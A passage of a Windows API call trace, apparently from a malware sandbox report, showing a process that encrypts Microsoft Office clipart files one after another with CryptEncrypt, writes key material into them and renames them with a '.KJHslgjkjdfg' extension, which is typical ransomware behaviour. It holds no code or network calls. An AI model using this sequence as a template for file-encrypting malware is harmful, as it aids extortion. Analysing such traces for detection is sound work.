hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0164.520] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0164.520] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0164.520] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0164.520] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0164.520] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0164.520] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0164.521] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0164.521] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.521] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd74, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd74, lpOverlapped=0x0) returned 1 [0164.521] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd80, dwBufLen=0xd80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd80) returned 1 [0164.521] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.521] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd80, lpOverlapped=0x0) returned 1 [0164.521] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0164.521] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.521] SetEndOfFile (hFile=0x114) returned 1 [0164.524] GetProcessHeap () returned 0x2a0000 [0164.524] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0164.524] GetProcessHeap () returned 0x2a0000 [0164.524] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0164.524] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.kjhslgjkjdfg")) returned 1 [0164.525] CloseHandle (hObject=0x114) returned 1 [0164.525] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4314, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105238.WMF", cAlternateFileName="")) returned 1 [0164.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.526] GetProcessHeap () returned 0x2a0000 [0164.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0164.526] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0164.526] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0164.527] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0164.589] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0164.589] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0164.589] GetProcessHeap () returned 0x2a0000 [0164.590] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0164.590] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0164.590] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0164.590] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0164.590] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0164.590] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0164.590] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0164.590] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0164.590] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0164.590] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0164.590] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0164.591] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.591] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4314, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4314, lpOverlapped=0x0) returned 1 [0164.679] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4320, dwBufLen=0x4320 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4320) returned 1 [0164.679] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.679] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4320, lpOverlapped=0x0) returned 1 [0164.679] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0164.679] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x43f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.679] SetEndOfFile (hFile=0x114) returned 1 [0164.764] GetProcessHeap () returned 0x2a0000 [0164.764] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0164.764] GetProcessHeap () returned 0x2a0000 [0164.764] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0164.764] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.kjhslgjkjdfg")) returned 1 [0164.765] CloseHandle (hObject=0x114) returned 1 [0164.765] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105240.WMF", cAlternateFileName="")) returned 1 [0164.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.766] GetProcessHeap () returned 0x2a0000 [0164.766] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0164.766] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0164.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0164.766] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0165.045] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0165.045] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0165.045] GetProcessHeap () returned 0x2a0000 [0165.045] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0165.046] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0165.046] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0165.046] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0165.046] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0165.046] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0165.046] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0165.046] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0165.046] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0165.046] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0165.046] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0165.046] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.046] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2d0c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2d0c, lpOverlapped=0x0) returned 1 [0165.164] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d10, dwBufLen=0x2d10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d10) returned 1 [0165.164] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.164] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2d10, lpOverlapped=0x0) returned 1 [0165.165] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0165.165] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.165] SetEndOfFile (hFile=0x114) returned 1 [0165.324] GetProcessHeap () returned 0x2a0000 [0165.324] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0165.324] GetProcessHeap () returned 0x2a0000 [0165.324] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0165.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.kjhslgjkjdfg")) returned 1 [0165.450] CloseHandle (hObject=0x114) returned 1 [0165.450] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bdc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105244.WMF", cAlternateFileName="")) returned 1 [0165.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0165.451] GetProcessHeap () returned 0x2a0000 [0165.451] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0165.451] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0165.451] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0165.451] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0165.606] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0165.607] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0165.607] GetProcessHeap () returned 0x2a0000 [0165.607] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0165.607] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0165.607] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0165.607] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0165.607] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0165.607] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0165.607] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0165.607] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0165.607] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0165.607] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0165.607] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0165.607] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.608] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2bdc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2bdc, lpOverlapped=0x0) returned 1 [0165.673] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2be0, dwBufLen=0x2be0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2be0) returned 1 [0165.674] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.674] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2be0, lpOverlapped=0x0) returned 1 [0165.674] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0165.674] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2cb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.674] SetEndOfFile (hFile=0x114) returned 1 [0165.742] GetProcessHeap () returned 0x2a0000 [0165.743] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0165.743] GetProcessHeap () returned 0x2a0000 [0165.743] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0165.743] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.kjhslgjkjdfg")) returned 1 [0165.744] CloseHandle (hObject=0x114) returned 1 [0165.744] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105246.WMF", cAlternateFileName="")) returned 1 [0165.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0165.745] GetProcessHeap () returned 0x2a0000 [0165.745] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0165.745] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0165.745] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0165.745] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0165.745] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0165.745] GetProcessHeap () returned 0x2a0000 [0165.745] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0165.745] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0165.745] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0165.745] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0165.809] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0165.809] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0165.809] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0165.810] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0165.810] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0165.810] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0165.810] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0165.810] SetFilePointerEx (in: hFile=0x114, 